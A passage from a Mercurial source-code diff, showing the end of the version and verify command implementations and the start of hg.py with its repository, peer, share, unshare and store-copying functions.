7873 the changelog, manifest, and tracked files, as well as the
7876 the changelog, manifest, and tracked files, as well as the
7874 integrity of their crosslinks and indices.
7877 integrity of their crosslinks and indices.
7875
7878
7876 Please see https://mercurial-scm.org/wiki/RepositoryCorruption
7879 Please see https://mercurial-scm.org/wiki/RepositoryCorruption
7877 for more information about recovery from corruption of the
7880 for more information about recovery from corruption of the
7878 repository.
7881 repository.
7879
7882
7880 Returns 0 on success, 1 if errors are encountered.
7883 Returns 0 on success, 1 if errors are encountered.
7881 """
7884 """
7882 opts = pycompat.byteskwargs(opts)
7885 opts = pycompat.byteskwargs(opts)
7883
7886
7884 level = None
7887 level = None
7885 if opts[b'full']:
7888 if opts[b'full']:
7886 level = verifymod.VERIFY_FULL
7889 level = verifymod.VERIFY_FULL
7887 return hg.verify(repo, level)
7890 return hg.verify(repo, level)
7888
7891
7889
7892
7890 @command(
7893 @command(
7891 b'version',
7894 b'version',
7892 [] + formatteropts,
7895 [] + formatteropts,
7893 helpcategory=command.CATEGORY_HELP,
7896 helpcategory=command.CATEGORY_HELP,
7894 norepo=True,
7897 norepo=True,
7895 intents={INTENT_READONLY},
7898 intents={INTENT_READONLY},
7896 )
7899 )
7897 def version_(ui, **opts):
7900 def version_(ui, **opts):
7898 """output version and copyright information
7901 """output version and copyright information
7899
7902
7900 .. container:: verbose
7903 .. container:: verbose
7901
7904
7902 Template:
7905 Template:
7903
7906
7904 The following keywords are supported. See also :hg:`help templates`.
7907 The following keywords are supported. See also :hg:`help templates`.
7905
7908
7906 :extensions: List of extensions.
7909 :extensions: List of extensions.
7907 :ver: String. Version number.
7910 :ver: String. Version number.
7908
7911
7909 And each entry of ``{extensions}`` provides the following sub-keywords
7912 And each entry of ``{extensions}`` provides the following sub-keywords
7910 in addition to ``{ver}``.
7913 in addition to ``{ver}``.
7911
7914
7912 :bundled: Boolean. True if included in the release.
7915 :bundled: Boolean. True if included in the release.
7913 :name: String. Extension name.
7916 :name: String. Extension name.
7914 """
7917 """
7915 opts = pycompat.byteskwargs(opts)
7918 opts = pycompat.byteskwargs(opts)
7916 if ui.verbose:
7919 if ui.verbose:
7917 ui.pager(b'version')
7920 ui.pager(b'version')
7918 fm = ui.formatter(b"version", opts)
7921 fm = ui.formatter(b"version", opts)
7919 fm.startitem()
7922 fm.startitem()
7920 fm.write(
7923 fm.write(
7921 b"ver", _(b"Mercurial Distributed SCM (version %s)\n"), util.version()
7924 b"ver", _(b"Mercurial Distributed SCM (version %s)\n"), util.version()
7922 )
7925 )
7923 license = _(
7926 license = _(
7924 b"(see https://mercurial-scm.org for more information)\n"
7927 b"(see https://mercurial-scm.org for more information)\n"
7925 b"\nCopyright (C) 2005-2021 Olivia Mackall and others\n"
7928 b"\nCopyright (C) 2005-2021 Olivia Mackall and others\n"
7926 b"This is free software; see the source for copying conditions. "
7929 b"This is free software; see the source for copying conditions. "
7927 b"There is NO\nwarranty; "
7930 b"There is NO\nwarranty; "
7928 b"not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n"
7931 b"not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n"
7929 )
7932 )
7930 if not ui.quiet:
7933 if not ui.quiet:
7931 fm.plain(license)
7934 fm.plain(license)
7932
7935
7933 if ui.verbose:
7936 if ui.verbose:
7934 fm.plain(_(b"\nEnabled extensions:\n\n"))
7937 fm.plain(_(b"\nEnabled extensions:\n\n"))
7935 # format names and versions into columns
7938 # format names and versions into columns
7936 names = []
7939 names = []
7937 vers = []
7940 vers = []
7938 isinternals = []
7941 isinternals = []
7939 for name, module in sorted(extensions.extensions()):
7942 for name, module in sorted(extensions.extensions()):
7940 names.append(name)
7943 names.append(name)
7941 vers.append(extensions.moduleversion(module) or None)
7944 vers.append(extensions.moduleversion(module) or None)
7942 isinternals.append(extensions.ismoduleinternal(module))
7945 isinternals.append(extensions.ismoduleinternal(module))
7943 fn = fm.nested(b"extensions", tmpl=b'{name}\n')
7946 fn = fm.nested(b"extensions", tmpl=b'{name}\n')
7944 if names:
7947 if names:
7945 namefmt = b" %%-%ds " % max(len(n) for n in names)
7948 namefmt = b" %%-%ds " % max(len(n) for n in names)
7946 places = [_(b"external"), _(b"internal")]
7949 places = [_(b"external"), _(b"internal")]
7947 for n, v, p in zip(names, vers, isinternals):
7950 for n, v, p in zip(names, vers, isinternals):
7948 fn.startitem()
7951 fn.startitem()
7949 fn.condwrite(ui.verbose, b"name", namefmt, n)
7952 fn.condwrite(ui.verbose, b"name", namefmt, n)
7950 if ui.verbose:
7953 if ui.verbose:
7951 fn.plain(b"%s " % places[p])
7954 fn.plain(b"%s " % places[p])
7952 fn.data(bundled=p)
7955 fn.data(bundled=p)
7953 fn.condwrite(ui.verbose and v, b"ver", b"%s", v)
7956 fn.condwrite(ui.verbose and v, b"ver", b"%s", v)
7954 if ui.verbose:
7957 if ui.verbose:
7955 fn.plain(b"\n")
7958 fn.plain(b"\n")
7956 fn.end()
7959 fn.end()
7957 fm.end()
7960 fm.end()
7958
7961
7959
7962
7960 def loadcmdtable(ui, name, cmdtable):
7963 def loadcmdtable(ui, name, cmdtable):
7961 """Load command functions from specified cmdtable"""
7964 """Load command functions from specified cmdtable"""
7962 overrides = [cmd for cmd in cmdtable if cmd in table]
7965 overrides = [cmd for cmd in cmdtable if cmd in table]
7963 if overrides:
7966 if overrides:
7964 ui.warn(
7967 ui.warn(
7965 _(b"extension '%s' overrides commands: %s\n")
7968 _(b"extension '%s' overrides commands: %s\n")
7966 % (name, b" ".join(overrides))
7969 % (name, b" ".join(overrides))
7967 )
7970 )
7968 table.update(cmdtable)
7971 table.update(cmdtable)
@@ -1,1590 +1,1591 b''
1 # hg.py - repository classes for mercurial
1 # hg.py - repository classes for mercurial
2 #
2 #
3 # Copyright 2005-2007 Olivia Mackall <olivia@selenic.com>
3 # Copyright 2005-2007 Olivia Mackall <olivia@selenic.com>
4 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
4 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 #
5 #
6 # This software may be used and distributed according to the terms of the
6 # This software may be used and distributed according to the terms of the
7 # GNU General Public License version 2 or any later version.
7 # GNU General Public License version 2 or any later version.
8
8
9 from __future__ import absolute_import
9 from __future__ import absolute_import
10
10
11 import errno
11 import errno
12 import os
12 import os
13 import shutil
13 import shutil
14 import stat
14 import stat
15
15
16 from .i18n import _
16 from .i18n import _
17 from .node import (
17 from .node import (
18 hex,
18 hex,
19 sha1nodeconstants,
19 sha1nodeconstants,
20 short,
20 short,
21 )
21 )
22 from .pycompat import getattr
22 from .pycompat import getattr
23
23
24 from . import (
24 from . import (
25 bookmarks,
25 bookmarks,
26 bundlerepo,
26 bundlerepo,
27 cmdutil,
27 cmdutil,
28 destutil,
28 destutil,
29 discovery,
29 discovery,
30 error,
30 error,
31 exchange,
31 exchange,
32 extensions,
32 extensions,
33 graphmod,
33 graphmod,
34 httppeer,
34 httppeer,
35 localrepo,
35 localrepo,
36 lock,
36 lock,
37 logcmdutil,
37 logcmdutil,
38 logexchange,
38 logexchange,
39 merge as mergemod,
39 merge as mergemod,
40 mergestate as mergestatemod,
40 mergestate as mergestatemod,
41 narrowspec,
41 narrowspec,
42 phases,
42 phases,
43 requirements,
43 requirements,
44 scmutil,
44 scmutil,
45 sshpeer,
45 sshpeer,
46 statichttprepo,
46 statichttprepo,
47 ui as uimod,
47 ui as uimod,
48 unionrepo,
48 unionrepo,
49 url,
49 url,
50 util,
50 util,
51 verify as verifymod,
51 verify as verifymod,
52 vfs as vfsmod,
52 vfs as vfsmod,
53 )
53 )
54 from .interfaces import repository as repositorymod
54 from .interfaces import repository as repositorymod
55 from .utils import (
55 from .utils import (
56 hashutil,
56 hashutil,
57 stringutil,
57 stringutil,
58 urlutil,
58 urlutil,
59 )
59 )
60
60
61
61
62 release = lock.release
62 release = lock.release
63
63
64 # shared features
64 # shared features
65 sharedbookmarks = b'bookmarks'
65 sharedbookmarks = b'bookmarks'
66
66
67
67
68 def _local(path):
68 def _local(path):
69 path = util.expandpath(urlutil.urllocalpath(path))
69 path = util.expandpath(urlutil.urllocalpath(path))
70
70
71 try:
71 try:
72 # we use os.stat() directly here instead of os.path.isfile()
72 # we use os.stat() directly here instead of os.path.isfile()
73 # because the latter started returning `False` on invalid path
73 # because the latter started returning `False` on invalid path
74 # exceptions starting in 3.8 and we care about handling
74 # exceptions starting in 3.8 and we care about handling
75 # invalid paths specially here.
75 # invalid paths specially here.
76 st = os.stat(path)
76 st = os.stat(path)
77 isfile = stat.S_ISREG(st.st_mode)
77 isfile = stat.S_ISREG(st.st_mode)
78 # Python 2 raises TypeError, Python 3 ValueError.
78 # Python 2 raises TypeError, Python 3 ValueError.
79 except (TypeError, ValueError) as e:
79 except (TypeError, ValueError) as e:
80 raise error.Abort(
80 raise error.Abort(
81 _(b'invalid path %s: %s') % (path, stringutil.forcebytestr(e))
81 _(b'invalid path %s: %s') % (path, stringutil.forcebytestr(e))
82 )
82 )
83 except OSError:
83 except OSError:
84 isfile = False
84 isfile = False
85
85
86 return isfile and bundlerepo or localrepo
86 return isfile and bundlerepo or localrepo
87
87
88
88
89 def addbranchrevs(lrepo, other, branches, revs):
89 def addbranchrevs(lrepo, other, branches, revs):
90 peer = other.peer() # a courtesy to callers using a localrepo for other
90 peer = other.peer() # a courtesy to callers using a localrepo for other
91 hashbranch, branches = branches
91 hashbranch, branches = branches
92 if not hashbranch and not branches:
92 if not hashbranch and not branches:
93 x = revs or None
93 x = revs or None
94 if revs:
94 if revs:
95 y = revs[0]
95 y = revs[0]
96 else:
96 else:
97 y = None
97 y = None
98 return x, y
98 return x, y
99 if revs:
99 if revs:
100 revs = list(revs)
100 revs = list(revs)
101 else:
101 else:
102 revs = []
102 revs = []
103
103
104 if not peer.capable(b'branchmap'):
104 if not peer.capable(b'branchmap'):
105 if branches:
105 if branches:
106 raise error.Abort(_(b"remote branch lookup not supported"))
106 raise error.Abort(_(b"remote branch lookup not supported"))
107 revs.append(hashbranch)
107 revs.append(hashbranch)
108 return revs, revs[0]
108 return revs, revs[0]
109
109
110 with peer.commandexecutor() as e:
110 with peer.commandexecutor() as e:
111 branchmap = e.callcommand(b'branchmap', {}).result()
111 branchmap = e.callcommand(b'branchmap', {}).result()
112
112
113 def primary(branch):
113 def primary(branch):
114 if branch == b'.':
114 if branch == b'.':
115 if not lrepo:
115 if not lrepo:
116 raise error.Abort(_(b"dirstate branch not accessible"))
116 raise error.Abort(_(b"dirstate branch not accessible"))
117 branch = lrepo.dirstate.branch()
117 branch = lrepo.dirstate.branch()
118 if branch in branchmap:
118 if branch in branchmap:
119 revs.extend(hex(r) for r in reversed(branchmap[branch]))
119 revs.extend(hex(r) for r in reversed(branchmap[branch]))
120 return True
120 return True
121 else:
121 else:
122 return False
122 return False
123
123
124 for branch in branches:
124 for branch in branches:
125 if not primary(branch):
125 if not primary(branch):
126 raise error.RepoLookupError(_(b"unknown branch '%s'") % branch)
126 raise error.RepoLookupError(_(b"unknown branch '%s'") % branch)
127 if hashbranch:
127 if hashbranch:
128 if not primary(hashbranch):
128 if not primary(hashbranch):
129 revs.append(hashbranch)
129 revs.append(hashbranch)
130 return revs, revs[0]
130 return revs, revs[0]
131
131
132
132
133 def parseurl(path, branches=None):
133 def parseurl(path, branches=None):
134 '''parse url#branch, returning (url, (branch, branches))'''
134 '''parse url#branch, returning (url, (branch, branches))'''
135 msg = b'parseurl(...) moved to mercurial.utils.urlutil'
135 msg = b'parseurl(...) moved to mercurial.utils.urlutil'
136 util.nouideprecwarn(msg, b'6.0', stacklevel=2)
136 util.nouideprecwarn(msg, b'6.0', stacklevel=2)
137 return urlutil.parseurl(path, branches=branches)
137 return urlutil.parseurl(path, branches=branches)
138
138
139
139
140 schemes = {
140 schemes = {
141 b'bundle': bundlerepo,
141 b'bundle': bundlerepo,
142 b'union': unionrepo,
142 b'union': unionrepo,
143 b'file': _local,
143 b'file': _local,
144 b'http': httppeer,
144 b'http': httppeer,
145 b'https': httppeer,
145 b'https': httppeer,
146 b'ssh': sshpeer,
146 b'ssh': sshpeer,
147 b'static-http': statichttprepo,
147 b'static-http': statichttprepo,
148 }
148 }
149
149
150
150
151 def _peerlookup(path):
151 def _peerlookup(path):
152 u = urlutil.url(path)
152 u = urlutil.url(path)
153 scheme = u.scheme or b'file'
153 scheme = u.scheme or b'file'
154 thing = schemes.get(scheme) or schemes[b'file']
154 thing = schemes.get(scheme) or schemes[b'file']
155 try:
155 try:
156 return thing(path)
156 return thing(path)
157 except TypeError:
157 except TypeError:
158 # we can't test callable(thing) because 'thing' can be an unloaded
158 # we can't test callable(thing) because 'thing' can be an unloaded
159 # module that implements __call__
159 # module that implements __call__
160 if not util.safehasattr(thing, b'instance'):
160 if not util.safehasattr(thing, b'instance'):
161 raise
161 raise
162 return thing
162 return thing
163
163
164
164
165 def islocal(repo):
165 def islocal(repo):
166 '''return true if repo (or path pointing to repo) is local'''
166 '''return true if repo (or path pointing to repo) is local'''
167 if isinstance(repo, bytes):
167 if isinstance(repo, bytes):
168 try:
168 try:
169 return _peerlookup(repo).islocal(repo)
169 return _peerlookup(repo).islocal(repo)
170 except AttributeError:
170 except AttributeError:
171 return False
171 return False
172 return repo.local()
172 return repo.local()
173
173
174
174
175 def openpath(ui, path, sendaccept=True):
175 def openpath(ui, path, sendaccept=True):
176 '''open path with open if local, url.open if remote'''
176 '''open path with open if local, url.open if remote'''
177 pathurl = urlutil.url(path, parsequery=False, parsefragment=False)
177 pathurl = urlutil.url(path, parsequery=False, parsefragment=False)
178 if pathurl.islocal():
178 if pathurl.islocal():
179 return util.posixfile(pathurl.localpath(), b'rb')
179 return util.posixfile(pathurl.localpath(), b'rb')
180 else:
180 else:
181 return url.open(ui, path, sendaccept=sendaccept)
181 return url.open(ui, path, sendaccept=sendaccept)
182
182
183
183
184 # a list of (ui, repo) functions called for wire peer initialization
184 # a list of (ui, repo) functions called for wire peer initialization
185 wirepeersetupfuncs = []
185 wirepeersetupfuncs = []
186
186
187
187
188 def _peerorrepo(
188 def _peerorrepo(
189 ui, path, create=False, presetupfuncs=None, intents=None, createopts=None
189 ui, path, create=False, presetupfuncs=None, intents=None, createopts=None
190 ):
190 ):
191 """return a repository object for the specified path"""
191 """return a repository object for the specified path"""
192 obj = _peerlookup(path).instance(
192 obj = _peerlookup(path).instance(
193 ui, path, create, intents=intents, createopts=createopts
193 ui, path, create, intents=intents, createopts=createopts
194 )
194 )
195 ui = getattr(obj, "ui", ui)
195 ui = getattr(obj, "ui", ui)
196 for f in presetupfuncs or []:
196 for f in presetupfuncs or []:
197 f(ui, obj)
197 f(ui, obj)
198 ui.log(b'extension', b'- executing reposetup hooks\n')
198 ui.log(b'extension', b'- executing reposetup hooks\n')
199 with util.timedcm('all reposetup') as allreposetupstats:
199 with util.timedcm('all reposetup') as allreposetupstats:
200 for name, module in extensions.extensions(ui):
200 for name, module in extensions.extensions(ui):
201 ui.log(b'extension', b' - running reposetup for %s\n', name)
201 ui.log(b'extension', b' - running reposetup for %s\n', name)
202 hook = getattr(module, 'reposetup', None)
202 hook = getattr(module, 'reposetup', None)
203 if hook:
203 if hook:
204 with util.timedcm('reposetup %r', name) as stats:
204 with util.timedcm('reposetup %r', name) as stats:
205 hook(ui, obj)
205 hook(ui, obj)
206 ui.log(
206 ui.log(
207 b'extension', b' > reposetup for %s took %s\n', name, stats
207 b'extension', b' > reposetup for %s took %s\n', name, stats
208 )
208 )
209 ui.log(b'extension', b'> all reposetup took %s\n', allreposetupstats)
209 ui.log(b'extension', b'> all reposetup took %s\n', allreposetupstats)
210 if not obj.local():
210 if not obj.local():
211 for f in wirepeersetupfuncs:
211 for f in wirepeersetupfuncs:
212 f(ui, obj)
212 f(ui, obj)
213 return obj
213 return obj
214
214
215
215
216 def repository(
216 def repository(
217 ui,
217 ui,
218 path=b'',
218 path=b'',
219 create=False,
219 create=False,
220 presetupfuncs=None,
220 presetupfuncs=None,
221 intents=None,
221 intents=None,
222 createopts=None,
222 createopts=None,
223 ):
223 ):
224 """return a repository object for the specified path"""
224 """return a repository object for the specified path"""
225 peer = _peerorrepo(
225 peer = _peerorrepo(
226 ui,
226 ui,
227 path,
227 path,
228 create,
228 create,
229 presetupfuncs=presetupfuncs,
229 presetupfuncs=presetupfuncs,
230 intents=intents,
230 intents=intents,
231 createopts=createopts,
231 createopts=createopts,
232 )
232 )
233 repo = peer.local()
233 repo = peer.local()
234 if not repo:
234 if not repo:
235 raise error.Abort(
235 raise error.Abort(
236 _(b"repository '%s' is not local") % (path or peer.url())
236 _(b"repository '%s' is not local") % (path or peer.url())
237 )
237 )
238 return repo.filtered(b'visible')
238 return repo.filtered(b'visible')
239
239
240
240
241 def peer(uiorrepo, opts, path, create=False, intents=None, createopts=None):
241 def peer(uiorrepo, opts, path, create=False, intents=None, createopts=None):
242 '''return a repository peer for the specified path'''
242 '''return a repository peer for the specified path'''
243 rui = remoteui(uiorrepo, opts)
243 rui = remoteui(uiorrepo, opts)
244 return _peerorrepo(
244 return _peerorrepo(
245 rui, path, create, intents=intents, createopts=createopts
245 rui, path, create, intents=intents, createopts=createopts
246 ).peer()
246 ).peer()
247
247
248
248
249 def defaultdest(source):
249 def defaultdest(source):
250 """return default destination of clone if none is given
250 """return default destination of clone if none is given
251
251
252 >>> defaultdest(b'foo')
252 >>> defaultdest(b'foo')
253 'foo'
253 'foo'
254 >>> defaultdest(b'/foo/bar')
254 >>> defaultdest(b'/foo/bar')
255 'bar'
255 'bar'
256 >>> defaultdest(b'/')
256 >>> defaultdest(b'/')
257 ''
257 ''
258 >>> defaultdest(b'')
258 >>> defaultdest(b'')
259 ''
259 ''
260 >>> defaultdest(b'http://example.org/')
260 >>> defaultdest(b'http://example.org/')
261 ''
261 ''
262 >>> defaultdest(b'http://example.org/foo/')
262 >>> defaultdest(b'http://example.org/foo/')
263 'foo'
263 'foo'
264 """
264 """
265 path = urlutil.url(source).path
265 path = urlutil.url(source).path
266 if not path:
266 if not path:
267 return b''
267 return b''
268 return os.path.basename(os.path.normpath(path))
268 return os.path.basename(os.path.normpath(path))
269
269
270
270
271 def sharedreposource(repo):
271 def sharedreposource(repo):
272 """Returns repository object for source repository of a shared repo.
272 """Returns repository object for source repository of a shared repo.
273
273
274 If repo is not a shared repository, returns None.
274 If repo is not a shared repository, returns None.
275 """
275 """
276 if repo.sharedpath == repo.path:
276 if repo.sharedpath == repo.path:
277 return None
277 return None
278
278
279 if util.safehasattr(repo, b'srcrepo') and repo.srcrepo:
279 if util.safehasattr(repo, b'srcrepo') and repo.srcrepo:
280 return repo.srcrepo
280 return repo.srcrepo
281
281
282 # the sharedpath always ends in the .hg; we want the path to the repo
282 # the sharedpath always ends in the .hg; we want the path to the repo
283 source = repo.vfs.split(repo.sharedpath)[0]
283 source = repo.vfs.split(repo.sharedpath)[0]
284 srcurl, branches = urlutil.parseurl(source)
284 srcurl, branches = urlutil.parseurl(source)
285 srcrepo = repository(repo.ui, srcurl)
285 srcrepo = repository(repo.ui, srcurl)
286 repo.srcrepo = srcrepo
286 repo.srcrepo = srcrepo
287 return srcrepo
287 return srcrepo
288
288
289
289
290 def share(
290 def share(
291 ui,
291 ui,
292 source,
292 source,
293 dest=None,
293 dest=None,
294 update=True,
294 update=True,
295 bookmarks=True,
295 bookmarks=True,
296 defaultpath=None,
296 defaultpath=None,
297 relative=False,
297 relative=False,
298 ):
298 ):
299 '''create a shared repository'''
299 '''create a shared repository'''
300
300
301 if not islocal(source):
301 if not islocal(source):
302 raise error.Abort(_(b'can only share local repositories'))
302 raise error.Abort(_(b'can only share local repositories'))
303
303
304 if not dest:
304 if not dest:
305 dest = defaultdest(source)
305 dest = defaultdest(source)
306 else:
306 else:
307 dest = urlutil.get_clone_path(ui, dest)[1]
307 dest = urlutil.get_clone_path(ui, dest)[1]
308
308
309 if isinstance(source, bytes):
309 if isinstance(source, bytes):
310 origsource, source, branches = urlutil.get_clone_path(ui, source)
310 origsource, source, branches = urlutil.get_clone_path(ui, source)
311 srcrepo = repository(ui, source)
311 srcrepo = repository(ui, source)
312 rev, checkout = addbranchrevs(srcrepo, srcrepo, branches, None)
312 rev, checkout = addbranchrevs(srcrepo, srcrepo, branches, None)
313 else:
313 else:
314 srcrepo = source.local()
314 srcrepo = source.local()
315 checkout = None
315 checkout = None
316
316
317 shareditems = set()
317 shareditems = set()
318 if bookmarks:
318 if bookmarks:
319 shareditems.add(sharedbookmarks)
319 shareditems.add(sharedbookmarks)
320
320
321 r = repository(
321 r = repository(
322 ui,
322 ui,
323 dest,
323 dest,
324 create=True,
324 create=True,
325 createopts={
325 createopts={
326 b'sharedrepo': srcrepo,
326 b'sharedrepo': srcrepo,
327 b'sharedrelative': relative,
327 b'sharedrelative': relative,
328 b'shareditems': shareditems,
328 b'shareditems': shareditems,
329 },
329 },
330 )
330 )
331
331
332 postshare(srcrepo, r, defaultpath=defaultpath)
332 postshare(srcrepo, r, defaultpath=defaultpath)
333 r = repository(ui, dest)
333 r = repository(ui, dest)
334 _postshareupdate(r, update, checkout=checkout)
334 _postshareupdate(r, update, checkout=checkout)
335 return r
335 return r
336
336
337
337
338 def _prependsourcehgrc(repo):
338 def _prependsourcehgrc(repo):
339 """copies the source repo config and prepend it in current repo .hg/hgrc
339 """copies the source repo config and prepend it in current repo .hg/hgrc
340 on unshare. This is only done if the share was perfomed using share safe
340 on unshare. This is only done if the share was perfomed using share safe
341 method where we share config of source in shares"""
341 method where we share config of source in shares"""
342 srcvfs = vfsmod.vfs(repo.sharedpath)
342 srcvfs = vfsmod.vfs(repo.sharedpath)
343 dstvfs = vfsmod.vfs(repo.path)
343 dstvfs = vfsmod.vfs(repo.path)
344
344
345 if not srcvfs.exists(b'hgrc'):
345 if not srcvfs.exists(b'hgrc'):
346 return
346 return
347
347
348 currentconfig = b''
348 currentconfig = b''
349 if dstvfs.exists(b'hgrc'):
349 if dstvfs.exists(b'hgrc'):
350 currentconfig = dstvfs.read(b'hgrc')
350 currentconfig = dstvfs.read(b'hgrc')
351
351
352 with dstvfs(b'hgrc', b'wb') as fp:
352 with dstvfs(b'hgrc', b'wb') as fp:
353 sourceconfig = srcvfs.read(b'hgrc')
353 sourceconfig = srcvfs.read(b'hgrc')
354 fp.write(b"# Config copied from shared source\n")
354 fp.write(b"# Config copied from shared source\n")
355 fp.write(sourceconfig)
355 fp.write(sourceconfig)
356 fp.write(b'\n')
356 fp.write(b'\n')
357 fp.write(currentconfig)
357 fp.write(currentconfig)
358
358
359
359
360 def unshare(ui, repo):
360 def unshare(ui, repo):
361 """convert a shared repository to a normal one
361 """convert a shared repository to a normal one
362
362
363 Copy the store data to the repo and remove the sharedpath data.
363 Copy the store data to the repo and remove the sharedpath data.
364
364
365 Returns a new repository object representing the unshared repository.
365 Returns a new repository object representing the unshared repository.
366
366
367 The passed repository object is not usable after this function is
367 The passed repository object is not usable after this function is
368 called.
368 called.
369 """
369 """
370
370
371 with repo.lock():
371 with repo.lock():
372 # we use locks here because if we race with commit, we
372 # we use locks here because if we race with commit, we
373 # can end up with extra data in the cloned revlogs that's
373 # can end up with extra data in the cloned revlogs that's
374 # not pointed to by changesets, thus causing verify to
374 # not pointed to by changesets, thus causing verify to
375 # fail
375 # fail
376 destlock = copystore(ui, repo, repo.path)
376 destlock = copystore(ui, repo, repo.path)
377 with destlock or util.nullcontextmanager():
377 with destlock or util.nullcontextmanager():
378 if requirements.SHARESAFE_REQUIREMENT in repo.requirements:
378 if requirements.SHARESAFE_REQUIREMENT in repo.requirements:
379 # we were sharing .hg/hgrc of the share source with the current
379 # we were sharing .hg/hgrc of the share source with the current
380 # repo. We need to copy that while unsharing otherwise it can
380 # repo. We need to copy that while unsharing otherwise it can
381 # disable hooks and other checks
381 # disable hooks and other checks
382 _prependsourcehgrc(repo)
382 _prependsourcehgrc(repo)
383
383
384 sharefile = repo.vfs.join(b'sharedpath')
384 sharefile = repo.vfs.join(b'sharedpath')
385 util.rename(sharefile, sharefile + b'.old')
385 util.rename(sharefile, sharefile + b'.old')
386
386
387 repo.requirements.discard(requirements.SHARED_REQUIREMENT)
387 repo.requirements.discard(requirements.SHARED_REQUIREMENT)
388 repo.requirements.discard(requirements.RELATIVE_SHARED_REQUIREMENT)
388 repo.requirements.discard(requirements.RELATIVE_SHARED_REQUIREMENT)
389 scmutil.writereporequirements(repo)
389 scmutil.writereporequirements(repo)
390
390
391 # Removing share changes some fundamental properties of the repo instance.
391 # Removing share changes some fundamental properties of the repo instance.
392 # So we instantiate a new repo object and operate on it rather than
392 # So we instantiate a new repo object and operate on it rather than
393 # try to keep the existing repo usable.
393 # try to keep the existing repo usable.
394 newrepo = repository(repo.baseui, repo.root, create=False)
394 newrepo = repository(repo.baseui, repo.root, create=False)
395
395
396 # TODO: figure out how to access subrepos that exist, but were previously
396 # TODO: figure out how to access subrepos that exist, but were previously
397 # removed from .hgsub
397 # removed from .hgsub
398 c = newrepo[b'.']
398 c = newrepo[b'.']
399 subs = c.substate
399 subs = c.substate
400 for s in sorted(subs):
400 for s in sorted(subs):
401 c.sub(s).unshare()
401 c.sub(s).unshare()
402
402
403 localrepo.poisonrepository(repo)
403 localrepo.poisonrepository(repo)
404
404
405 return newrepo
405 return newrepo
406
406
407
407
408 def postshare(sourcerepo, destrepo, defaultpath=None):
408 def postshare(sourcerepo, destrepo, defaultpath=None):
409 """Called after a new shared repo is created.
409 """Called after a new shared repo is created.
410
410
411 The new repo only has a requirements file and pointer to the source.
411 The new repo only has a requirements file and pointer to the source.
412 This function configures additional shared data.
412 This function configures additional shared data.
413
413
414 Extensions can wrap this function and write additional entries to
414 Extensions can wrap this function and write additional entries to
415 destrepo/.hg/shared to indicate additional pieces of data to be shared.
415 destrepo/.hg/shared to indicate additional pieces of data to be shared.
416 """
416 """
417 default = defaultpath or sourcerepo.ui.config(b'paths', b'default')
417 default = defaultpath or sourcerepo.ui.config(b'paths', b'default')
418 if default:
418 if default:
419 template = b'[paths]\ndefault = %s\n'
419 template = b'[paths]\ndefault = %s\n'
420 destrepo.vfs.write(b'hgrc', util.tonativeeol(template % default))
420 destrepo.vfs.write(b'hgrc', util.tonativeeol(template % default))
421 if requirements.NARROW_REQUIREMENT in sourcerepo.requirements:
421 if requirements.NARROW_REQUIREMENT in sourcerepo.requirements:
422 with destrepo.wlock():
422 with destrepo.wlock():
423 narrowspec.copytoworkingcopy(destrepo)
423 narrowspec.copytoworkingcopy(destrepo)
424
424
425
425
426 def _postshareupdate(repo, update, checkout=None):
426 def _postshareupdate(repo, update, checkout=None):
427 """Maybe perform a working directory update after a shared repo is created.
427 """Maybe perform a working directory update after a shared repo is created.
428
428
429 ``update`` can be a boolean or a revision to update to.
429 ``update`` can be a boolean or a revision to update to.
430 """
430 """
431 if not update:
431 if not update:
432 return
432 return
433
433
434 repo.ui.status(_(b"updating working directory\n"))
434 repo.ui.status(_(b"updating working directory\n"))
435 if update is not True:
435 if update is not True:
436 checkout = update
436 checkout = update
437 for test in (checkout, b'default', b'tip'):
437 for test in (checkout, b'default', b'tip'):
438 if test is None:
438 if test is None:
439 continue
439 continue
440 try:
440 try:
441 uprev = repo.lookup(test)
441 uprev = repo.lookup(test)
442 break
442 break
443 except error.RepoLookupError:
443 except error.RepoLookupError:
444 continue
444 continue
445 _update(repo, uprev)
445 _update(repo, uprev)
446
446
447
447
448 def copystore(ui, srcrepo, destpath):
448 def copystore(ui, srcrepo, destpath):
449 """copy files from store of srcrepo in destpath
449 """copy files from store of srcrepo in destpath
450
450
451 returns destlock
451 returns destlock
452 """
452 """
453 destlock = None
453 destlock = None
454 try:
454 try:
455 hardlink = None
455 hardlink = None
456 topic = _(b'linking') if hardlink else _(b'copying')
456 topic = _(b'linking') if hardlink else _(b'copying')
457 with ui.makeprogress(topic, unit=_(b'files')) as progress:
457 with ui.makeprogress(topic, unit=_(b'files')) as progress:
458 num = 0
458 num = 0
459 srcpublishing = srcrepo.publishing()
459 srcpublishing = srcrepo.publishing()
460 srcvfs = vfsmod.vfs(srcrepo.sharedpath)
460 srcvfs = vfsmod.vfs(srcrepo.sharedpath)
461 dstvfs = vfsmod.vfs(destpath)
461 dstvfs = vfsmod.vfs(destpath)
462 for f in srcrepo.store.copylist():
462 for f in srcrepo.store.copylist():
463 if srcpublishing and f.endswith(b'phaseroots'):
463 if srcpublishing and f.endswith(b'phaseroots'):
464 continue
464 continue
465 dstbase = os.path.dirname(f)
465 dstbase = os.path.dirname(f)
466 if dstbase and not dstvfs.exists(dstbase):
466 if dstbase and not dstvfs.exists(dstbase):
467 dstvfs.mkdir(dstbase)
467 dstvfs.mkdir(dstbase)
468 if srcvfs.exists(f):
468 if srcvfs.exists(f):
469 if f.endswith(b'data'):
469 if f.endswith(b'data'):
470 # 'dstbase' may be empty (e.g. revlog format 0)
470 # 'dstbase' may be empty (e.g. revlog format 0)
471 lockfile = os.path.join(dstbase, b"lock")
471 lockfile = os.path.join(dstbase, b"lock")
472 # lock to avoid premature writing to the target
472 # lock to avoid premature writing to the target
473 destlock = lock.lock(dstvfs, lockfile)
473 destlock = lock.lock(dstvfs, lockfile)
474 hardlink, n = util.copyfiles(
474 hardlink, n = util.copyfiles(
475 srcvfs.join(f), dstvfs.join(f), hardlink, progress
475 srcvfs.join(f), dstvfs.join(f), hardlink, progress
476 )
476 )
477 num += n
477 num += n
478 if hardlink:
478 if hardlink:
479 ui.debug(b"linked %d files\n" % num)
479 ui.debug(b"linked %d files\n" % num)
480 else:
480 else:
481 ui.debug(b"copied %d files\n" % num)
481 ui.debug(b"copied %d files\n" % num)
482 return destlock
482 return destlock
483 except: # re-raises
483 except: # re-raises
484 release(destlock)
